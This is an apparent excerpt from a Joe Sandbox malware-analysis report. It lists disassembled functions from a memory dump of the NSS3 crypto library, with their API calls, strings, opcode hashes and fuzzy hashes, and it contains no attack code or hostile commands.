Part of subcall function 6CE48980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE47310), ref: 6CE489B8
Part of subcall function 6CE48980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE47310), ref: 6CE489E6
Part of subcall function 6CE48980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE48A00
Part of subcall function 6CE48980: CERT_CopyRDN.NSS3(00000004,00000000,6CE47310,?,?,00000004,?), ref: 6CE48A1B
Part of subcall function 6CE48980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE48A74

Part of subcall function 6CE41D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE4C097,00000000,000000B0,?), ref: 6CE41D2C
Part of subcall function 6CE41D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE4C09B,00000000,00000000,00000000,?,6CE4C097,00000000,000000B0,?), ref: 6CE41D3F
Part of subcall function 6CE41D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE4C087,00000000,000000B0,?), ref: 6CE41D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE4C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE4C0C9

Part of subcall function 6CE52DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE4C0D2,6CE4C0CE,00000000,-000000D4,?), ref: 6CE52DF5
Part of subcall function 6CE52DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE4C0CE,00000000,-000000D4,?), ref: 6CE52E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE4C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE4C0E3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 10c8ee2a334530af977f37784d9d68c2d4a8d2f6ee9c9908ed705467dc69113d
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 492165A6A401056BFB006A61BC81FFB367C9B5175DF288038FD04DA746FB26D91D82B2

Function 6CE42E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE42CDA,?,00000000), ref: 6CE42E1E

Part of subcall function 6CE9FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE49003,?), ref: 6CE9FD91
Part of subcall function 6CE9FD80: PORT_Alloc_Util.NSS3(A4686CEA,?), ref: 6CE9FDA2
Part of subcall function 6CE9FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEA,?,?), ref: 6CE9FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE42E33

Part of subcall function 6CE9FD80: free.MOZGLUE(00000000,?,?), ref: 6CE9FDD1

TlsGetValue.KERNEL32 ref: 6CE42E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE42E5E
PL_HashTableLookup.NSS3(?), ref: 6CE42E71
PL_HashTableRemove.NSS3(?), ref: 6CE42E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE42E96
PR_Unlock.NSS3 ref: 6CE42EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE42EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE42EC5

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 2b8dec57ab5a838a93757a3dcc8b989036504ee8a8761da6916641d7bbcf5e2c
Instruction ID: 5d9365852f03b736c6c7e930dd797cd1d5a4f82aebfa01451dd7e534faff7c9b
Opcode Fuzzy Hash: 2b8dec57ab5a838a93757a3dcc8b989036504ee8a8761da6916641d7bbcf5e2c
Instruction Fuzzy Hash: 8021D372E00101A7EF011B66BC09F9B7A78AB6235DF248024ED1CC6721FB33D658D6A1

Function 6CE2FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE2FD18
sqlite3_initialize.NSS3 ref: 6CE2FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE2FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE2FD99
sqlite3_free.NSS3(00000000), ref: 6CE2FE3C
sqlite3_free.NSS3(?), ref: 6CE2FEE3
sqlite3_free.NSS3(?), ref: 6CE2FEEE

Strings

simple, xrefs: 6CE2FC79

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 500df56c80adb674ee613991cb89660c2a56356420a11bbbba7913f34bc465e6
Instruction ID: 57872925855629f769cf393d0b5be3294285d20c5ec936f058f365080f3afd10
Opcode Fuzzy Hash: 500df56c80adb674ee613991cb89660c2a56356420a11bbbba7913f34bc465e6
Instruction Fuzzy Hash: 5F917EB0A012158FDB05CF55C980BAAB7B1FF85318F38C16DD8199BB52E739E801CBA0

Function 6CE35CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE35EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE35EED

Strings

%s at line %d of [%.10s], xrefs: 6CE35EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE35ED1
API call with %s database connection pointer, xrefs: 6CE35EC3
misuse, xrefs: 6CE35EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE35E64
invalid, xrefs: 6CE35EBE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: af86fbc70bb36c78198f0fac1d1c22f8d9ca0c60594530260f1877f682ae8d61
Instruction ID: 48f03c420cb795f83fb05c84925a7dd8aee03fd781c45ab5f73d644dfedb4f86
Opcode Fuzzy Hash: af86fbc70bb36c78198f0fac1d1c22f8d9ca0c60594530260f1877f682ae8d61
Instruction Fuzzy Hash: 5C81B330B076219BEB1A8F55D844B6AB7B0BF4230CF756259D81D5BB51C731F842CB91

Function 6CE1DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE1DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE1DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE1DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE1DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE1DF78

Strings

%s at line %d of [%.10s], xrefs: 6CE1DE61, 6CE1DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE1DE52, 6CE1DE81
database corruption, xrefs: 6CE1DE5C, 6CE1DE8B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: cbfbf4de698114feb1df387fc53221113efbc089154752d09b098e85ee411a45
Instruction ID: 88e38a2263e009acbf64a254540f57372e82223a63415aed1d3548860007cd09
Opcode Fuzzy Hash: cbfbf4de698114feb1df387fc53221113efbc089154752d09b098e85ee411a45
Instruction Fuzzy Hash: CE81D3796083009FD715CF25C880B6A77F1BF45308F24892DE89A8BF51E731EA56CB52

Function 6CDCCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDCB999), ref: 6CDCCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDCB999), ref: 6CDCD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDCB999), ref: 6CDCD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDCB999), ref: 6CF1972B

Strings

%s at line %d of [%.10s], xrefs: 6CDCCFEC, 6CDCD018, 6CDCD029, 6CDCD03F, 6CF1978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDCCFDD, 6CDCD00E, 6CDCD022, 6CDCD033, 6CF19780
database corruption, xrefs: 6CDCCFE7, 6CDCD013, 6CDCD028, 6CDCD039, 6CDCD03E, 6CF19786

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 11ef63f61fa82139d60ecdca676ca6e30a3b87656587959cb18182d0d258abac
Instruction ID: 2dfc33c5a0133545b0a5f464088c2d0ef8a3ea0a285fc23482bc32b2e7641156
Opcode Fuzzy Hash: 11ef63f61fa82139d60ecdca676ca6e30a3b87656587959cb18182d0d258abac
Instruction Fuzzy Hash: 02614671A042109BD310CF29C840BA6B7F5EF95318F2845AEE9489BB92D376D947C7E2

Function 6CECFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CED5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CED0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CED015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CED01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CED0202
free.MOZGLUE(?), ref: 6CED0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED0253

Strings

exporter, xrefs: 6CED00F7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 622f3bee077c59d155dbb5a86ba68f7be483d3f4ac9b9fed7b6e43f0a9d0eaaa
Instruction ID: 66d2d3ca5a729192f6fdad9bd70334a5d5f36b0918a1e72889e086bfca84d259
Opcode Fuzzy Hash: 622f3bee077c59d155dbb5a86ba68f7be483d3f4ac9b9fed7b6e43f0a9d0eaaa
Instruction Fuzzy Hash: BD6112B29007899FEB118FA4CC01BEA77B6FF4430CF29422CE91A5A661E731A956C751

Function 6CEA4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEA536F,00000022,?,?,00000000,?), ref: 6CEA4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEA4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEA4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEA4FAE
free.MOZGLUE(?), ref: 6CEA4FC8

Strings

%s=%c%s%c, xrefs: 6CEA4FA9
oSl", xrefs: 6CEA4DFB, 6CEA4EF4, 6CEA4EC5
%s=%s, xrefs: 6CEA4F89

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 19e098c556af34befb2f1191ddf4b38c8f8bb71e546a358b6eb9203d17cfb8fe
Instruction ID: aaec60c73db7af3d4ead205fd805ccbea2acbc125f3b87880d71edadc2011f7d
Opcode Fuzzy Hash: 19e098c556af34befb2f1191ddf4b38c8f8bb71e546a358b6eb9203d17cfb8fe
Instruction Fuzzy Hash: 31512525A041498FEF01CAE984917FE7BF59F4630CF38E127E890AFB41DB25980787A1

Function 6CECEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CEEA4A1,?,00000000,?,00000001), ref: 6CECEF6D

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

htonl.WSOCK32(00000000,?,6CEEA4A1,?,00000000,?,00000001), ref: 6CECEFE4
htonl.WSOCK32(?,00000000,?,6CEEA4A1,?,00000000,?,00000001), ref: 6CECEFF1
memcpy.VCRUNTIME140(?,?,6CEEA4A1,?,00000000,?,6CEEA4A1,?,00000000,?,00000001), ref: 6CECF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CEEA4A1,?,00000000,?,00000001), ref: 6CECF027

Strings

dtls13, xrefs: 6CECEF33

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0c1f7bb05f7ee2fcf3eb9bc1c25a3056e73b7bf4ac09387408b878402455286e
Instruction ID: 467e1c830b061f2804bde05d1aaf0b7a70c6e0c05f8cc63aaed108ac315fdf9b
Opcode Fuzzy Hash: 0c1f7bb05f7ee2fcf3eb9bc1c25a3056e73b7bf4ac09387408b878402455286e
Instruction Fuzzy Hash: A4310371A00611AFC710CF28DD42B8AB7F4AF4934CF258029E9289B751E731E915CBE2

Function 6CE4AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE4AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF69500,6CE43F91), ref: 6CE4AFD2

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

DER_GetInteger_Util.NSS3(?), ref: 6CE4B007

Part of subcall function 6CE96A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE41666,?,6CE4B00C,?), ref: 6CE96AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE4B02F
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE4B046
PL_FreeArenaPool.NSS3 ref: 6CE4B058
PL_FinishArenaPool.NSS3 ref: 6CE4B060

Strings

security, xrefs: 6CE4AFB8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 13a4ae5650717cb409aef20a92b237535a6819505e3ff84120fa76744f0621fb
Instruction ID: f016e7a967e5b90119aa1be52521e1b68db0521f62c074112460e59b9da52739
Opcode Fuzzy Hash: 13a4ae5650717cb409aef20a92b237535a6819505e3ff84120fa76744f0621fb
Instruction Fuzzy Hash: 8231F670904700DBDB208F14A844BAE77B4AF8676EF20861DE8745BBD1E732950AC797

Function 6CE43E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE440D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE43F7F,?,00000055,?,?,6CE41666,?,?), ref: 6CE440D9
Part of subcall function 6CE440D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE41666,?,?), ref: 6CE440FC
Part of subcall function 6CE440D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE41666,?,?), ref: 6CE44138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE43EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE43ED6

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE43EEE

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE43F02
PL_FreeArenaPool.NSS3 ref: 6CE43F14
PL_FinishArenaPool.NSS3 ref: 6CE43F1C

Part of subcall function 6CEA64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEA127C,00000000,00000000,00000000), ref: 6CEA650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE43F27

Strings

security, xrefs: 6CE43EBC

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 443e9c9ff8f6293ebf489ab09a705c1ceb1970b8627a560269123ef4856f0ea7
Instruction ID: f4b3358f2c488de36859df26e662017f3aadf237cddcecc705d1548135f8b1ac
Opcode Fuzzy Hash: 443e9c9ff8f6293ebf489ab09a705c1ceb1970b8627a560269123ef4856f0ea7
Instruction Fuzzy Hash: 552145B2A04300ABD7148F15BC02FAA77B8BB8970CF10493DF859A7B41E731D9188796

Function 6CE8CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CE8CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CE8CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CE8D079

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
